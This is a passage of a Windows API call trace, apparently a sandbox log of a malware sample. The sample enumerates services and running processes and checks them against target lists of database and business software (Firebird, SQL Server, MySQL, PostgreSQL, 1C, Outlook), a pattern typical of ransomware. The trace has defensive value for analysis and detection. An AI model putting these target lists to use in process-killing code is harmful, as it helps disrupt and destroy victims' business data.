	[0047.836] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0047.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0047.836] lstrlenW (lpString="LanmanServer") returned 12
	[0047.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0047.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0047.836] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0047.836] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0047.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0047.836] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0047.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0047.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0047.836] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0047.836] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0047.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0047.836] lstrlenW (lpString="lmhosts") returned 7
	[0047.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0047.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0047.837] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0047.837] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0047.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0047.837] lstrlenW (lpString="MMCSS") returned 5
	[0047.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0047.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0047.837] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0047.837] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0047.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0047.837] lstrlenW (lpString="MpsSvc") returned 6
	[0047.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0047.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0047.837] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0047.837] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0047.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0047.837] lstrlenW (lpString="Netman") returned 6
	[0047.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0047.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0047.837] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0047.837] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0047.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0047.837] lstrlenW (lpString="netprofm") returned 8
	[0047.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0047.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0047.837] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0047.837] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0047.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0047.837] lstrlenW (lpString="NlaSvc") returned 6
	[0047.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0047.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0047.838] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0047.838] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0047.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0047.838] lstrlenW (lpString="nsi") returned 3
	[0047.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0047.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0047.838] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0047.838] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0047.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0047.838] lstrlenW (lpString="PcaSvc") returned 6
	[0047.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0047.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0047.838] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0047.838] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0047.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0047.838] lstrlenW (lpString="PlugPlay") returned 8
	[0047.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0047.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0047.838] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0047.838] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0047.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0047.838] lstrlenW (lpString="Power") returned 5
	[0047.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0047.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0047.838] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0047.838] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0047.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0047.838] lstrlenW (lpString="ProfSvc") returned 7
	[0047.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0047.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0047.839] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0047.839] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0047.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0047.839] lstrlenW (lpString="RpcEptMapper") returned 12
	[0047.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0047.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0047.839] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0047.839] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0047.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0047.839] lstrlenW (lpString="RpcSs") returned 5
	[0047.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0047.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0047.839] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0047.839] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0047.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0047.839] lstrlenW (lpString="SamSs") returned 5
	[0047.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0047.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0047.839] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0047.839] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0047.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0047.839] lstrlenW (lpString="Schedule") returned 8
	[0047.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0047.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0047.839] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0047.839] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0047.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0047.839] lstrlenW (lpString="SENS") returned 4
	[0047.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0047.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0047.840] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0047.840] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0047.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0047.840] lstrlenW (lpString="ShellHWDetection") returned 16
	[0047.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0047.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0047.840] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0047.840] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0047.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0047.840] lstrlenW (lpString="Spooler") returned 7
	[0047.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0047.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0047.840] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0047.840] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0047.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0047.840] lstrlenW (lpString="swprv") returned 5
	[0047.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1
	[0047.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1
	[0047.840] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1
	[0047.840] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1
	[0047.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1
	[0047.840] lstrlenW (lpString="SysMain") returned 7
	[0047.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0047.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0047.840] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0047.840] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0047.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0047.840] lstrlenW (lpString="Themes") returned 6
	[0047.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0047.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0047.841] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0047.841] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0047.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0047.841] lstrlenW (lpString="TrkWks") returned 6
	[0047.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0047.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0047.841] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0047.841] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0047.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0047.841] lstrlenW (lpString="UxSms") returned 5
	[0047.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0047.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0047.841] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0047.841] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0047.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0047.841] lstrlenW (lpString="VSS") returned 3
	[0047.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0047.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0047.841] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0047.841] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0047.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0047.841] lstrlenW (lpString="WdiServiceHost") returned 14
	[0047.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0047.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0047.841] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0047.841] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0047.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0047.842] lstrlenW (lpString="WdiSystemHost") returned 13
	[0047.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0047.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0047.842] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0047.842] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0047.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0047.842] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0047.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0047.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0047.842] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0047.842] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0047.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0047.842] lstrlenW (lpString="Winmgmt") returned 7
	[0047.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0047.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0047.842] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0047.842] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0047.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0047.842] lstrlenW (lpString="WPDBusEnum") returned 10
	[0047.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0047.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0047.842] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0047.842] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0047.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0047.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ea0058 | out: hHeap=0x4f0000) returned 1
	[0047.842] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1dc
	[0047.845] Process32FirstW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0047.846] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0047.847] lstrlenW (lpString="System") returned 6
	[0047.847] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0047.847] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0047.847] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0047.847] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0047.847] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0047.847] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0047.847] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0047.847] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0047.848] lstrlenW (lpString="smss.exe") returned 8
	[0047.848] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0047.848] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0047.848] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0047.848] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0047.848] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0047.848] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0047.848] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0047.848] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0047.849] lstrlenW (lpString="csrss.exe") returned 9
	[0047.849] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0047.849] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0047.849] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0047.849] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0047.849] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0047.849] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0047.849] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0047.849] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0047.850] lstrlenW (lpString="wininit.exe") returned 11
	[0047.850] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0047.850] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0047.850] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0047.850] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0047.851] lstrlenW (lpString="csrss.exe") returned 9
	[0047.851] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0047.852] lstrlenW (lpString="winlogon.exe") returned 12
	[0047.852] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0047.852] lstrlenW (lpString="services.exe") returned 12
	[0047.852] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0047.853] lstrlenW (lpString="lsass.exe") returned 9
	[0047.853] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0047.854] lstrlenW (lpString="lsm.exe") returned 7
	[0047.854] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.855] lstrlenW (lpString="svchost.exe") returned 11
	[0047.855] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.856] lstrlenW (lpString="svchost.exe") returned 11
	[0047.856] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.856] lstrlenW (lpString="svchost.exe") returned 11
	[0047.856] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.857] lstrlenW (lpString="svchost.exe") returned 11
	[0047.857] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.858] lstrlenW (lpString="svchost.exe") returned 11
	[0047.858] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0047.859] lstrlenW (lpString="audiodg.exe") returned 11
	[0047.859] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.860] lstrlenW (lpString="svchost.exe") returned 11
	[0047.860] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.860] lstrlenW (lpString="svchost.exe") returned 11
	[0047.860] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0047.861] lstrlenW (lpString="dwm.exe") returned 7
	[0047.861] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0047.862] lstrlenW (lpString="explorer.exe") returned 12
	[0047.862] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0047.863] lstrlenW (lpString="spoolsv.exe") returned 11
	[0047.863] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0047.863] lstrlenW (lpString="taskhost.exe") returned 12
	[0047.863] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.864] lstrlenW (lpString="svchost.exe") returned 11
	[0047.864] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0047.865] lstrlenW (lpString="taskeng.exe") returned 11
	[0047.865] Process32NextW (in: hSnapshot=0x1dc, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0047.866] lstrlenW (lpString="taskhost.exe") returned 12
